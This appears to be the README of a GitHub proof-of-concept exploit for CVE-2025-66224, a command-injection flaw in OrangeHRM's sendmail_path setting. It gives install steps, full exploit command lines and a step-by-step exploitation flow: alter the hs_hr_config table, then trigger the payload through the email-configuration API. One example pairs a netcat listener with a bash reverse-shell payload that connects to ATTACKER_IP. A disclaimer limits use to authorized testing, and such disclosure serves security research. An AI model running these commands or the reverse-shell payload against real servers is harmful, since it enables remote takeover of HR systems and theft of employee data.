
This Proof of Concept (PoC) demonstrates a Remote Code Execution (RCE) vulnerability in OrangeHRM through command injection in the sendmail_path configuration parameter.
The exploit works by:
hs_hr_config table)This tool is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal. The authors are not responsible for any misuse or damage caused by this tool.
pip install requests mysql-connector-python
git clone https://github.com/richard-natan/PoC-CVE-2025-66224
cd PoC-CVE-2025-66224
pip install -r requirements.txt
_orangehrm cookie valuepython3 exploit.py -t <TARGET_URL> -c <COOKIE_VALUE> \
-dh <MYSQL_HOST> -du <MYSQL_USER> -dp <MYSQL_PASSWORD> \
-cmd '<COMMAND_TO_EXECUTE>'
python3 exploit.py -t http://127.0.0.1:8080/ \
-c "g58tak8pbnheseatv6dggvi31i" \
-dh 172.18.0.2 \
-du orange_user \
-dp orange_password \
-cmd "touch /tmp/pwned"
# Start listener on attacker machine
nc -lvnp 4444
# Execute exploit with reverse shell payload
python3 exploit.py -t http://target.com/ \
-c "your_session_cookie" \
-dh 172.18.0.2 \
-du orange_user \
-dp orange_password \
-cmd 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
The vulnerability exists in the email configuration functionality where the sendmail_path parameter is stored in the database and later executed without proper sanitization.
Exploitation Flow:
1. Authenticate to OrangeHRM (obtain valid session cookie)
↓
2. Connect to MySQL database
↓
3. Locate hs_hr_config table
↓
4. Update email_config.sendmail_path value:
FROM: /usr/sbin/sendmail -bs
TO: /usr/sbin/sendmail -bs && <PAYLOAD> #
↓
5. Trigger execution via API:
PUT /web/index.php/api/v2/admin/email-configuration
↓
6. Command executes on server
↓
7. Restore original value (cleanup)
Vulnerable Parameter: email_config.sendmail_path
Database:
hs_hr_configname = 'email_config.sendmail_path'value = sendmail command pathTrigger Endpoint:
PUT /web/index.php/api/v2/admin/email-configuration
sendmail_path parameterPoC by: RiccK
Team: Bypassadores && HackersOnSteroids
⚠️ Use responsibly. Always obtain proper authorization before testing.
| Parameter | Short | Required | Description |
|---|
--target | -t | ✅ | Target URL (e.g., http://target.com) |
--cookie | -c | ✅ | Session cookie value |
--cookie_name | -cn | ❌ | Cookie name (default: _orangehrm) |
--command | -cmd | ✅ | Command to execute on target |
--db_host | -dh | ✅ | MySQL host address |
--db_user | -du | ✅ | MySQL username |
--db_pass | -dp | ✅ | MySQL password |
--db_port | -dport | ❌ | MySQL port (default: 3306) |